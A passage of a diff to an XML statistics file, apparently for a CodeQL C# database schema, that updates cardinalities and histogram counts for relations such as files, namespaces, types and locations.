+</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> </b> <b> <a>5</a> @@ -5004,23 +5032,23 @@ <v>1</v> </b> <b> -<a>7</a> -<b>8</b> +<a>8</a> +<b>9</b> <v>1</v> </b> <b> -<a>10</a> -<b>11</b> +<a>9</a> +<b>10</b> <v>1</v> </b> <b> -<a>52</a> -<b>53</b> +<a>53</a> +<b>54</b> <v>1</v> </b> <b> -<a>114</a> -<b>115</b> +<a>123</a> +<b>124</b> <v>1</v> </b> </bs> @@ -5142,12 +5170,12 @@ <b> <a>1</a> <b>2</b> -<v>5220</v> +<v>5210</v> </b> <b> <a>2</a> <b>6</b> -<v>73</v> +<v>83</v> </b> </bs> </hist> @@ -5268,12 +5296,12 @@ <b> <a>1</a> <b>2</b> -<v>6676</v> +<v>6687</v> </b> <b> <a>2</a> <b>7</b> -<v>25</v> +<v>14</v> </b> </bs> </hist> @@ -5289,47 +5317,52 @@ <b> <a>1</a> <b>2</b> -<v>54</v> +<v>61</v> </b> <b> <a>2</a> <b>3</b> -<v>40</v> +<v>37</v> </b> <b> <a>3</a> <b>4</b> -<v>16</v> +<v>12</v> </b> <b> <a>4</a> <b>5</b> -<v>13</v> +<v>16</v> </b> <b> <a>5</a> -<b>8</b> -<v>15</v> +<b>7</b> +<v>16</v> </b> <b> -<a>8</a> -<b>12</b> -<v>18</v> +<a>7</a> +<b>10</b> +<v>16</v> </b> <b> -<a>12</a> -<b>37</b> -<v>15</v> +<a>10</a> +<b>16</b> +<v>16</v> </b> <b> -<a>38</a> -<b>122</b> -<v>15</v> +<a>20</a> +<b>74</b> +<v>16</v> </b> <b> -<a>170</a> -<b>1173</b> -<v>13</v> +<a>76</a> +<b>432</b> +<v>16</v> +</b> +<b> +<a>563</a> +<b>1147</b> +<v>4</v> </b> </bs> </hist> @@ -5345,7 +5378,7 @@ <b> <a>1</a> <b>2</b> -<v>198</v> +<v>209</v> </b> <b> <a>2</a> @@ -5366,7 +5399,7 @@ <b> <a>1</a> <b>2</b> -<v>199</v> +<v>210</v> </b> </bs> </hist> @@ -5382,7 +5415,7 @@ <b> <a>1</a> <b>2</b> -<v>198</v> +<v>209</v> </b> <b> <a>2</a> @@ -5403,42 +5436,47 @@ <b> <a>1</a> <b>2</b> -<v>70</v> +<v>76</v> </b> <b> <a>2</a> <b>3</b> -<v>36</v> +<v>32</v> </b> <b> <a>3</a> <b>4</b> -<v>20</v> -</b> -<b> -<a>4</a> -<b>7</b> -<v>17</v> -</b> -<b> -<a>7</a> -<b>10</b> <v>16</v> </b> <b> -<a>11</a> -<b>21</b> -<v>15</v> +<a>4</a> +<b>5</b> +<v>12</v> </b> <b> -<a>25</a> -<b>117</b> -<v>15</v> +<a>5</a> +<b>7</b> +<v>18</v> </b> <b> -<a>131</a> -<b>946</b> -<v>10</v> +<a>7</a> +<b>12</b> +<v>18</v> +</b> +<b> +<a>12</a> +<b>43</b> +<v>16</v> +</b> +<b> +<a>45</a> +<b>250</b> +<v>16</v> +</b> +<b> +<a>277</a> +<b>925</b> +<v>6</v> </b> </bs> </hist> @@ -5454,48 +5492,48 @@ <b> <a>1</a> <b>2</b> -<v>62</v> +<v>71</v> </b> <b> <a>2</a> <b>3</b> -<v>36</v> +<v>32</v> </b> <b> <a>3</a> <b>4</b> -<v>18</v> +<v>15</v> </b> <b> <a>4</a> <b>5</b> -<v>13</v> +<v>15</v> </b> <b> <a>5</a> -<b>9</b> -<v>18</v> +<b>7</b> +<v>14</v> </b> <b> -<a>9</a> -<b>14</b> -<v>17</v> +<a>7</a> +<b>11</b> +<v>16</v> </b> <b> -<a>14</a> -<b>67</b> +<a>11</a> +<b>22</b> +<v>16</v> +</b> +<b> +<a>28</a> +<b>102</b> +<v>16</v> +</b> +<b> +<a>102</a> +<b>1147</b> <v>15</v> </b> -<b> -<a>79</a> -<b>340</b> -<v>15</v> -</b> -<b> -<a>360</a> -<b>1173</b> -<v>5</v> -</b> </bs> </hist> </val> @@ -5504,19 +5542,19 @@ </relation> <relation> <name>compilation_finished</name> -<cardinality>1098</cardinality> +<cardinality>1093</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>cpu_seconds</k> -<v>1000</v> +<v>1001</v> </e> <e> <k>elapsed_seconds</k> -<v>1098</v> +<v>1093</v> </e> </columnsizes> <dependencies> @@ -5530,7 +5568,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -5546,7 +5584,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -5562,12 +5600,12 @@ <b> <a>1</a> <b>2</b> -<v>903</v> +<v>918</v> </b> <b> <a>2</a> -<b>3</b> -<v>97</v> +<b>4</b> +<v>82</v> </b> </bs> </hist> @@ -5583,12 +5621,12 @@ <b> <a>1</a> <b>2</b> -<v>903</v> +<v>918</v> </b> <b> <a>2</a> -<b>3</b> -<v>97</v> +<b>4</b> +<v>82</v> </b> </bs> </hist> @@ -5604,7 +5642,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -5620,7 +5658,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -5630,15 +5668,15 @@ </relation> <relation> <name>compilation_assembly</name> -<cardinality>1098</cardinality> +<cardinality>1093</cardinality> <columnsizes> <e> <k>id</k> -<v>1098</v> +<v>1093</v> </e> <e> <k>assembly</k> -<v>1098</v> +<v>1093</v> </e> </columnsizes> <dependencies> @@ -5652,7 +5690,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -5668,7 +5706,7 @@ <b> <a>1</a> <b>2</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -6330,19 +6368,19 @@ </relation> <relation> <name>duplicateCode</name> -<cardinality>22785</cardinality> +<cardinality>22690</cardinality> <columnsizes> <e> <k>id</k> -<v>22785</v> +<v>22690</v> </e> <e> <k>relativePath</k> -<v>3812</v> +<v>3796</v> </e> <e> <k>equivClass</k> -<v>7024</v> +<v>6994</v> </e> </columnsizes> <dependencies> @@ -6356,7 +6394,7 @@ <b> <a>1</a> <b>2</b> -<v>22785</v> +<v>22690</v> </b> </bs> </hist> @@ -6372,7 +6410,7 @@ <b> <a>1</a> <b>2</b> -<v>22785</v> +<v>22690</v> </b> </bs> </hist> @@ -6388,47 +6426,47 @@ <b> <a>1</a> <b>2</b> -<v>1064</v> +<v>1059</v> </b> <b> <a>2</a> <b>3</b> -<v>566</v> +<v>563</v> </b> <b> <a>3</a> <b>4</b> -<v>424</v> +<v>422</v> </b> <b> <a>4</a> <b>5</b> -<v>219</v> +<v>218</v> </b> <b> <a>5</a> <b>6</b> -<v>219</v> +<v>218</v> </b> <b> <a>6</a> <b>8</b> -<v>336</v> +<v>335</v> </b> <b> <a>8</a> <b>10</b> -<v>278</v> +<v>277</v> </b> <b> <a>10</a> <b>14</b> -<v>317</v> +<v>315</v> </b> <b> <a>14</a> <b>28</b> -<v>287</v> +<v>286</v> </b> <b> <a>29</a> @@ -6449,52 +6487,52 @@ <b> <a>1</a> <b>2</b> -<v>1132</v> +<v>1127</v> </b> <b> <a>2</a> <b>3</b> -<v>522</v> +<v>520</v> </b> <b> <a>3</a> <b>4</b> -<v>444</v> +<v>442</v> </b> <b> <a>4</a> <b>5</b> -<v>234</v> +<v>233</v> </b> <b> <a>5</a> <b>6</b> -<v>229</v> +<v>228</v> </b> <b> <a>6</a> <b>8</b> -<v>327</v> +<v>325</v> </b> <b> <a>8</a> <b>10</b> -<v>278</v> +<v>277</v> </b> <b> <a>10</a> <b>14</b> -<v>312</v> +<v>311</v> </b> <b> <a>14</a> <b>32</b> -<v>292</v> +<v>291</v> </b> <b> <a>33</a> <b>45</b> -<v>39</v> +<v>38</v> </b> </bs> </hist> @@ -6510,32 +6548,32 @@ <b> <a>2</a> <b>3</b> -<v>3773</v> +<v>3757</v> </b> <b> <a>3</a> <b>4</b> -<v>1147</v> +<v>1142</v> </b> <b> <a>4</a> <b>5</b> -<v>785</v> +<v>782</v> </b> <b> <a>5</a> <b>6</b> -<v>429</v> +<v>427</v> </b> <b> <a>6</a> <b>8</b> -<v>571</v> +<v>568</v> </b> <b> <a>8</a> <b>11</b> -<v>317</v> +<v>315</v> </b> </bs> </hist> @@ -6551,37 +6589,37 @@ <b> <a>1</a> <b>2</b> -<v>678</v> +<v>675</v> </b> <b> <a>2</a> <b>3</b> -<v>3446</v> +<v>3431</v> </b> <b> <a>3</a> <b>4</b> -<v>1078</v> +<v>1074</v> </b> <b> <a>4</a> <b>5</b> -<v>678</v> +<v>675</v> </b> <b> <a>5</a> <b>6</b> -<v>385</v> +<v>384</v> </b> <b> <a>6</a> <b>9</b> -<v>580</v> +<v>578</v> </b> <b> <a>9</a> <b>11</b> -<v>175</v> +<v>174</v> </b> </bs> </hist> @@ -8659,11 +8697,11 @@ </relation> <relation> <name>locations_default</name> -<cardinality>14071972</cardinality> +<cardinality>14071977</cardinality> <columnsizes> <e> <k>id</k> -<v>14071972</v> +<v>14071977</v> </e> <e> <k>file</k> @@ -8697,7 +8735,7 @@ <b> <a>1</a> <b>2</b> -<v>14071972</v> +<v>14071977</v> </b> </bs> </hist> @@ -8713,7 +8751,7 @@ <b> <a>1</a> <b>2</b> -<v>14071972</v> +<v>14071977</v> </b> </bs> </hist> @@ -8729,7 +8767,7 @@ <b> <a>1</a> <b>2</b> -<v>14071972</v> +<v>14071977</v> </b> </bs> </hist> @@ -8745,7 +8783,7 @@ <b> <a>1</a> <b>2</b> -<v>14071972</v> +<v>14071977</v> </b> </bs> </hist> @@ -8761,7 +8799,7 @@ <b> <a>1</a> <b>2</b> -<v>14071972</v> +<v>14071977</v> </b> </bs> </hist> @@ -8807,40 +8845,40 @@ <b> <a>150</a> <b>208</b> -<v>471</v> +<v>470</v> </b> <b> <a>208</a> -<b>297</b> -<v>472</v> -</b> -<b> -<a>297</a> -<b>446</b> -<v>469</v> -</b> -<b> -<a>446</a> -<b>693</b> -<v>469</v> -</b> -<b> -<a>693</a> -<b>1208</b> +<b>296</b> <v>468</v> </b> <b> -<a>1209</a> -<b>2677</b> +<a>296</a> +<b>445</b> <v>468</v> </b> <b> -<a>2691</a> +<a>445</a> +<b>685</b> +<v>469</v> +</b> +<b> +<a>685</a> +<b>1200</b> +<v>468</v> +</b> +<b> +<a>1200</a> +<b>2633</b> +<v>468</v> +</b> +<b> +<a>2635</a> <b>42820</b> -<v>488</v> +<v>494</v> </b> <b> -<a>43087</a> +<a>43085</a> <b>474768</b> <v>60</v> </b> @@ -8863,12 +8901,12 @@ <b> <a>12</a> <b>19</b> -<v>507</v> +<v>508</v> </b> <b> <a>19</a> <b>27</b> -<v>519</v> +<v>518</v> </b> <b> <a>27</a> @@ -8954,12 +8992,12 @@ <b> <a>26</a> <b>34</b> -<v>516</v> +<v>517</v> </b> <b> <a>34</a> <b>43</b> -<v>500</v> +<v>499</v> </b> <b> <a>43</a> @@ -9015,12 +9053,12 @@ <b> <a>12</a> <b>18</b> -<v>482</v> +<v>483</v> </b> <b> <a>18</a> <b>25</b> -<v>471</v> +<v>470</v> </b> <b> <a>25</a> @@ -9136,12 +9174,12 @@ <b> <a>105</a> <b>123</b> -<v>482</v> +<v>483</v> </b> <b> <a>123</a> <b>148</b> -<v>470</v> +<v>469</v> </b> <b> <a>148</a> @@ -9207,12 +9245,12 @@ <b> <a>101</a> <b>117</b> -<v>12387</v> +<v>12388</v> </b> <b> <a>117</a> <b>182</b> -<v>12567</v> +<v>12566</v> </b> <b> <a>182</a> @@ -9505,13 +9543,13 @@ <v>110</v> </b> <b> -<a>5448</a> +<a>5447</a> <b>74977</b> <v>110</v> </b> <b> -<a>76216</a> -<b>2221250</b> +<a>76212</a> +<b>2221242</b> <v>24</v> </b> </bs> @@ -9562,7 +9600,7 @@ </b> <b> <a>195</a> -<b>1098</b> +<b>1097</b> <v>110</v> </b> <b> @@ -10376,11 +10414,11 @@ </relation> <relation> <name>numlines</name> -<cardinality>4585682</cardinality> +<cardinality>4585662</cardinality> <columnsizes> <e> <k>element_id</k> -<v>4585675</v> +<v>4585655</v> </e> <e> <k>num_lines</k> @@ -10406,7 +10444,7 @@ <b> <a>1</a> <b>2</b> -<v>4585668</v> +<v>4585648</v> </b> <b> <a>2</a> @@ -10427,7 +10465,7 @@ <b> <a>1</a> <b>2</b> -<v>4585668</v> +<v>4585648</v> </b> <b> <a>2</a> @@ -10448,7 +10486,7 @@ <b> <a>1</a> <b>2</b> -<v>4585671</v> +<v>4585651</v> </b> <b> <a>2</a> @@ -10636,7 +10674,7 @@ </b> <b> <a>52</a> -<b>1614483</b> +<b>1614463</b> <v>83</v> </b> </bs> @@ -10774,7 +10812,7 @@ </b> <b> <a>215</a> -<b>4549193</b> +<b>4549173</b> <v>19</v> </b> </bs> @@ -10877,27 +10915,27 @@ </relation> <relation> <name>assemblies</name> -<cardinality>4207</cardinality> +<cardinality>4190</cardinality> <columnsizes> <e> <k>id</k> -<v>4207</v> +<v>4190</v> </e> <e> <k>file</k> -<v>4207</v> +<v>4190</v> </e> <e> <k>fullname</k> -<v>3446</v> +<v>3431</v> </e> <e> <k>name</k> -<v>3177</v> +<v>3164</v> </e> <e> <k>version</k> -<v>370</v> +<v>369</v> </e> </columnsizes> <dependencies> @@ -10911,7 +10949,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -10927,7 +10965,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -10943,7 +10981,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -10959,7 +10997,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -10975,7 +11013,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -10991,7 +11029,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -11007,7 +11045,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -11023,7 +11061,7 @@ <b> <a>1</a> <b>2</b> -<v>4207</v> +<v>4190</v> </b> </bs> </hist> @@ -11039,12 +11077,12 @@ <b> <a>1</a> <b>2</b> -<v>2684</v> +<v>2673</v> </b> <b> <a>2</a> <b>3</b> -<v>761</v> +<v>758</v> </b> </bs> </hist> @@ -11060,12 +11098,12 @@ <b> <a>1</a> <b>2</b> -<v>2684</v> +<v>2673</v> </b> <b> <a>2</a> <b>3</b> -<v>761</v> +<v>758</v> </b> </bs> </hist> @@ -11081,7 +11119,7 @@ <b> <a>1</a> <b>2</b> -<v>3446</v> +<v>3431</v> </b> </bs> </hist> @@ -11097,7 +11135,7 @@ <b> <a>1</a> <b>2</b> -<v>3446</v> +<v>3431</v> </b> </bs> </hist> @@ -11113,12 +11151,12 @@ <b> <a>1</a> <b>2</b> -<v>2191</v> +<v>2182</v> </b> <b> <a>2</a> <b>3</b> -<v>942</v> +<v>938</v> </b> <b> <a>3</a> @@ -11139,12 +11177,12 @@ <b> <a>1</a> <b>2</b> -<v>2191</v> +<v>2182</v> </b> <b> <a>2</a> <b>3</b> -<v>942</v> +<v>938</v> </b> <b> <a>3</a> @@ -11165,12 +11203,12 @@ <b> <a>1</a> <b>2</b> -<v>2953</v> +<v>2940</v> </b> <b> <a>2</a> <b>4</b> -<v>224</v> +<v>223</v> </b> </bs> </hist> @@ -11186,12 +11224,12 @@ <b> <a>1</a> <b>2</b> -<v>2953</v> +<v>2940</v> </b> <b> <a>2</a> <b>4</b> -<v>224</v> +<v>223</v> </b> </bs> </hist> @@ -11207,7 +11245,7 @@ <b> <a>1</a> <b>2</b> -<v>205</v> +<v>204</v> </b> <b> <a>2</a> @@ -11248,7 +11286,7 @@ <b> <a>1</a> <b>2</b> -<v>205</v> +<v>204</v> </b> <b> <a>2</a> @@ -11365,23 +11403,23 @@ </relation> <relation> <name>files</name> -<cardinality>42559</cardinality> +<cardinality>42382</cardinality> <columnsizes> <e> <k>id</k> -<v>42559</v> +<v>42382</v> </e> <e> <k>name</k> -<v>42559</v> +<v>42382</v> </e> <e> <k>simple</k> -<v>22985</v> +<v>22890</v> </e> <e> <k>ext</k> -<v>39</v> +<v>38</v> </e> <e> <k>fromSource</k> @@ -11399,7 +11437,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11415,7 +11453,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11431,7 +11469,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11447,7 +11485,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11463,7 +11501,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11479,7 +11517,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11495,7 +11533,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11511,7 +11549,7 @@ <b> <a>1</a> <b>2</b> -<v>42559</v> +<v>42382</v> </b> </bs> </hist> @@ -11527,12 +11565,12 @@ <b> <a>1</a> <b>2</b> -<v>21575</v> +<v>21485</v> </b> <b> <a>2</a> <b>154</b> -<v>1410</v> +<v>1404</v> </b> </bs> </hist> @@ -11548,12 +11586,12 @@ <b> <a>1</a> <b>2</b> -<v>21575</v> +<v>21485</v> </b> <b> <a>2</a> <b>154</b> -<v>1410</v> +<v>1404</v> </b> </bs> </hist> @@ -11569,12 +11607,12 @@ <b> <a>1</a> <b>2</b> -<v>22195</v> +<v>22102</v> </b> <b> <a>2</a> <b>5</b> -<v>790</v> +<v>787</v> </b> </bs> </hist> @@ -11590,7 +11628,7 @@ <b> <a>1</a> <b>2</b> -<v>22985</v> +<v>22890</v> </b> </bs> </hist> @@ -11754,7 +11792,7 @@ <b> <a>1</a> <b>2</b> -<v>39</v> +<v>38</v> </b> </bs> </hist> @@ -11828,19 +11866,19 @@ </relation> <relation> <name>folders</name> -<cardinality>16977</cardinality> +<cardinality>16906</cardinality> <columnsizes> <e> <k>id</k> -<v>16977</v> +<v>16906</v> </e> <e> <k>name</k> -<v>14756</v> +<v>14694</v> </e> <e> <k>simple</k> -<v>2782</v> +<v>2770</v> </e> </columnsizes> <dependencies> @@ -11854,7 +11892,7 @@ <b> <a>1</a> <b>2</b> -<v>16977</v> +<v>16906</v> </b> </bs> </hist> @@ -11870,7 +11908,7 @@ <b> <a>1</a> <b>2</b> -<v>16977</v> +<v>16906</v> </b> </bs> </hist> @@ -11886,7 +11924,7 @@ <b> <a>1</a> <b>2</b> -<v>14756</v> +<v>14694</v> </b> </bs> </hist> @@ -11902,12 +11940,12 @@ <b> <a>1</a> <b>2</b> -<v>12535</v> +<v>12482</v> </b> <b> <a>2</a> <b>3</b> -<v>2220</v> +<v>2211</v> </b> </bs> </hist> @@ -11923,17 +11961,17 @@ <b> <a>1</a> <b>2</b> -<v>1825</v> +<v>1817</v> </b> <b> <a>2</a> <b>3</b> -<v>375</v> +<v>374</v> </b> <b> <a>3</a> <b>4</b> -<v>205</v> +<v>204</v> </b> <b> <a>4</a> @@ -11959,17 +11997,17 @@ <b> <a>1</a> <b>2</b> -<v>1825</v> +<v>1817</v> </b> <b> <a>2</a> <b>3</b> -<v>375</v> +<v>374</v> </b> <b> <a>3</a> <b>4</b> -<v>205</v> +<v>204</v> </b> <b> <a>4</a> @@ -11989,15 +12027,15 @@ </relation> <relation> <name>containerparent</name> -<cardinality>57306</cardinality> +<cardinality>57067</cardinality> <columnsizes> <e> <k>parent</k> -<v>14756</v> +<v>14694</v> </e> <e> <k>child</k> -<v>57306</v> +<v>57067</v> </e> </columnsizes> <dependencies> @@ -12011,37 +12049,37 @@ <b> <a>1</a> <b>2</b> -<v>8273</v> +<v>8239</v> </b> <b> <a>2</a> <b>3</b> -<v>1942</v> +<v>1934</v> </b> <b> <a>3</a> <b>4</b> -<v>771</v> +<v>768</v> </b> <b> <a>4</a> <b>5</b> -<v>971</v> +<v>967</v> </b> <b> <a>5</a> <b>9</b> -<v>1108</v> +<v>1103</v> </b> <b> <a>9</a> <b>18</b> -<v>1142</v> +<v>1137</v> </b> <b> <a>18</a> <b>170</b> -<v>546</v> +<v>544</v> </b> </bs> </hist> @@ -12057,7 +12095,7 @@ <b> <a>1</a> <b>2</b> -<v>57306</v> +<v>57067</v> </b> </bs> </hist> @@ -12067,11 +12105,11 @@ </relation> <relation> <name>file_extraction_mode</name> -<cardinality>26837</cardinality> +<cardinality>26725</cardinality> <columnsizes> <e> <k>file</k> -<v>26837</v> +<v>26725</v> </e> <e> <k>mode</k> @@ -12089,7 +12127,7 @@ <b> <a>1</a> <b>2</b> -<v>26837</v> +<v>26725</v> </b> </bs> </hist> @@ -12115,15 +12153,15 @@ </relation> <relation> <name>namespaces</name> -<cardinality>21990</cardinality> +<cardinality>21898</cardinality> <columnsizes> <e> <k>id</k> -<v>21990</v> +<v>21898</v> </e> <e> <k>name</k> -<v>4900</v> +<v>4880</v> </e> </columnsizes> <dependencies> @@ -12137,7 +12175,7 @@ <b> <a>1</a> <b>2</b> -<v>21990</v> +<v>21898</v> </b> </bs> </hist> @@ -12158,7 +12196,7 @@ <b> <a>2</a> <b>3</b> -<v>3499</v> +<v>3485</v> </b> <b> <a>3</a> @@ -12168,17 +12206,17 @@ <b> <a>4</a> <b>5</b> -<v>624</v> +<v>622</v> </b> <b> <a>6</a> <b>10</b> -<v>370</v> +<v>369</v> </b> <b> <a>10</a> <b>101</b> -<v>370</v> +<v>369</v> </b> <b> <a>110</a> @@ -12193,15 +12231,15 @@ </relation> <relation> <name>namespace_declarations</name> -<cardinality>19803</cardinality> +<cardinality>19720</cardinality> <columnsizes> <e> <k>id</k> -<v>19803</v> +<v>19720</v> </e> <e> <k>namespace_id</k> -<v>3895</v> +<v>3879</v> </e> </columnsizes> <dependencies> @@ -12215,7 +12253,7 @@ <b> <a>1</a> <b>2</b> -<v>19803</v> +<v>19720</v> </b> </bs> </hist> @@ -12231,42 +12269,42 @@ <b> <a>1</a> <b>2</b> -<v>1400</v> +<v>1395</v> </b> <b> <a>2</a> <b>3</b> -<v>800</v> +<v>797</v> </b> <b> <a>3</a> <b>4</b> -<v>414</v> +<v>413</v> </b> <b> <a>4</a> <b>5</b> -<v>307</v> +<v>306</v> </b> <b> <a>5</a> <b>6</b> -<v>224</v> +<v>223</v> </b> <b> <a>6</a> <b>9</b> -<v>331</v> +<v>330</v> </b> <b> <a>9</a> <b>17</b> -<v>302</v> +<v>301</v> </b> <b> <a>17</a> <b>996</b> -<v>112</v> +<v>111</v> </b> </bs> </hist> @@ -12276,15 +12314,15 @@ </relation> <relation> <name>namespace_declaration_location</name> -<cardinality>19803</cardinality> +<cardinality>19720</cardinality> <columnsizes> <e> <k>id</k> -<v>19803</v> +<v>19720</v> </e> <e> <k>loc</k> -<v>19803</v> +<v>19720</v> </e> </columnsizes> <dependencies> @@ -12298,7 +12336,7 @@ <b> <a>1</a> <b>2</b> -<v>19803</v> +<v>19720</v> </b> </bs> </hist> @@ -12314,7 +12352,7 @@ <b> <a>1</a> <b>2</b> -<v>19803</v> +<v>19720</v> </b> </bs> </hist> @@ -12324,15 +12362,15 @@ </relation> <relation> <name>parent_namespace</name> -<cardinality>778765</cardinality> +<cardinality>775518</cardinality> <columnsizes> <e> <k>child_id</k> -<v>778765</v> +<v>775518</v> </e> <e> <k>namespace_id</k> -<v>13584</v> +<v>13527</v> </e> </columnsizes> <dependencies> @@ -12346,7 +12384,7 @@ <b> <a>1</a> <b>2</b> -<v>778765</v> +<v>775518</v> </b> </bs> </hist> @@ -12362,52 +12400,52 @@ <b> <a>1</a> <b>2</b> -<v>3333</v> +<v>3320</v> </b> <b> <a>2</a> <b>3</b> -<v>1630</v> +<v>1623</v> </b> <b> <a>3</a> <b>4</b> -<v>1029</v> +<v>1025</v> </b> <b> <a>4</a> <b>5</b> -<v>917</v> +<v>913</v> </b> <b> <a>5</a> <b>7</b> -<v>1254</v> +<v>1249</v> </b> <b> <a>7</a> <b>10</b> -<v>1093</v> +<v>1088</v> </b> <b> <a>10</a> <b>15</b> -<v>1142</v> +<v>1137</v> </b> <b> <a>15</a> <b>23</b> -<v>1064</v> +<v>1059</v> </b> <b> <a>23</a> <b>51</b> -<v>1029</v> +<v>1025</v> </b> <b> <a>51</a> <b>835</b> -<v>1020</v> +<v>1015</v> </b> <b> <a>900</a> @@ -12422,15 +12460,15 @@ </relation> <relation> <name>parent_namespace_declaration</name> -<cardinality>88497</cardinality> +<cardinality>88128</cardinality> <columnsizes> <e> <k>child_id</k> -<v>87980</v> +<v>87613</v> </e> <e> <k>namespace_id</k> -<v>19803</v> +<v>19720</v> </e> </columnsizes> <dependencies> @@ -12444,12 +12482,12 @@ <b> <a>1</a> <b>2</b> -<v>87828</v> +<v>87462</v> </b> <b> <a>2</a> <b>60</b> -<v>151</v> +<v>150</v> </b> </bs> </hist> @@ -12465,27 +12503,27 @@ <b> <a>1</a> <b>2</b> -<v>13809</v> +<v>13751</v> </b> <b> <a>2</a> <b>9</b> -<v>1718</v> +<v>1711</v> </b> <b> <a>9</a> <b>13</b> -<v>1278</v> +<v>1273</v> </b> <b> <a>13</a> <b>16</b> -<v>1430</v> +<v>1424</v> </b> <b> <a>16</a> <b>32</b> -<v>1513</v> +<v>1506</v> </b> <b> <a>32</a> @@ -12500,15 +12538,15 @@ </relation> <relation> <name>using_namespace_directives</name> -<cardinality>144569</cardinality> +<cardinality>143966</cardinality> <columnsizes> <e> <k>id</k> -<v>144569</v> +<v>143966</v> </e> <e> <k>namespace_id</k> -<v>4236</v> +<v>4219</v> </e> </columnsizes> <dependencies> @@ -12522,7 +12560,7 @@ <b> <a>1</a> <b>2</b> -<v>144569</v> +<v>143966</v> </b> </bs> </hist> @@ -12538,47 +12576,47 @@ <b> <a>1</a> <b>2</b> -<v>1498</v> +<v>1492</v> </b> <b> <a>2</a> <b>3</b> -<v>473</v> +<v>471</v> </b> <b> <a>3</a> <b>4</b> -<v>297</v> +<v>296</v> </b> <b> <a>4</a> <b>5</b> -<v>239</v> +<v>238</v> </b> <b> <a>5</a> <b>8</b> -<v>366</v> +<v>364</v> </b> <b> <a>8</a> <b>14</b> -<v>336</v> +<v>335</v> </b> <b> <a>14</a> <b>25</b> -<v>322</v> +<v>320</v> </b> <b> <a>25</a> <b>63</b> -<v>327</v> +<v>325</v> </b> <b> <a>64</a> <b>465</b> -<v>322</v> +<v>320</v> </b> <b> <a>510</a> @@ -12681,15 +12719,15 @@ </relation> <relation> <name>using_directive_location</name> -<cardinality>144627</cardinality> +<cardinality>144024</cardinality> <columnsizes> <e> <k>id</k> -<v>144627</v> +<v>144024</v> </e> <e> <k>loc</k> -<v>144583</v> +<v>143980</v> </e> </columnsizes> <dependencies> @@ -12703,7 +12741,7 @@ <b> <a>1</a> <b>2</b> -<v>144627</v> +<v>144024</v> </b> </bs> </hist> @@ -12719,7 +12757,7 @@ <b> <a>1</a> <b>2</b> -<v>144539</v> +<v>143937</v> </b> <b> <a>2</a> @@ -12734,11 +12772,11 @@ </relation> <relation> <name>types</name> -<cardinality>869068</cardinality> +<cardinality>865446</cardinality> <columnsizes> <e> <k>id</k> -<v>869068</v> +<v>865446</v> </e> <e> <k>kind</k> @@ -12746,7 +12784,7 @@ </e> <e> <k>name</k> -<v>367663</v> +<v>366130</v> </e> </columnsizes> <dependencies> @@ -12760,7 +12798,7 @@ <b> <a>1</a> <b>2</b> -<v>869068</v> +<v>865446</v> </b> </bs> </hist> @@ -12776,7 +12814,7 @@ <b> <a>1</a> <b>2</b> -<v>869068</v> +<v>865446</v> </b> </bs> </hist> @@ -12874,17 +12912,17 @@ <b> <a>1</a> <b>2</b> -<v>325323</v> +<v>323966</v> </b> <b> <a>2</a> <b>5</b> -<v>28902</v> +<v>28781</v> </b> <b> <a>5</a> <b>6356</b> -<v>13438</v> +<v>13382</v> </b> </bs> </hist> @@ -12900,12 +12938,12 @@ <b> <a>1</a> <b>2</b> -<v>366223</v> +<v>364696</v> </b> <b> <a>2</a> <b>4</b> -<v>1439</v> +<v>1433</v> </b> </bs> </hist> @@ -12915,15 +12953,15 @@ </relation> <relation> <name>typerefs</name> -<cardinality>235307</cardinality> +<cardinality>234326</cardinality> <columnsizes> <e> <k>id</k> -<v>235307</v> +<v>234326</v> </e> <e> <k>name</k> -<v>177371</v> +<v>176631</v> </e> </columnsizes> <dependencies> @@ -12937,7 +12975,7 @@ <b> <a>1</a> <b>2</b> -<v>235307</v> +<v>234326</v> </b> </bs> </hist> @@ -12953,17 +12991,17 @@ <b> <a>1</a> <b>2</b> -<v>162790</v> +<v>162112</v> </b> <b> <a>2</a> <b>7</b> -<v>13511</v> +<v>13455</v> </b> <b> <a>7</a> <b>2183</b> -<v>1069</v> +<v>1064</v> </b> </bs> </hist> @@ -12973,15 +13011,15 @@ </relation> <relation> <name>typeref_type</name> -<cardinality>235126</cardinality> +<cardinality>234146</cardinality> <columnsizes> <e> <k>id</k> -<v>235126</v> +<v>234146</v> </e> <e> <k>typeId</k> -<v>235126</v> +<v>234146</v> </e> </columnsizes> <dependencies> @@ -12995,7 +13033,7 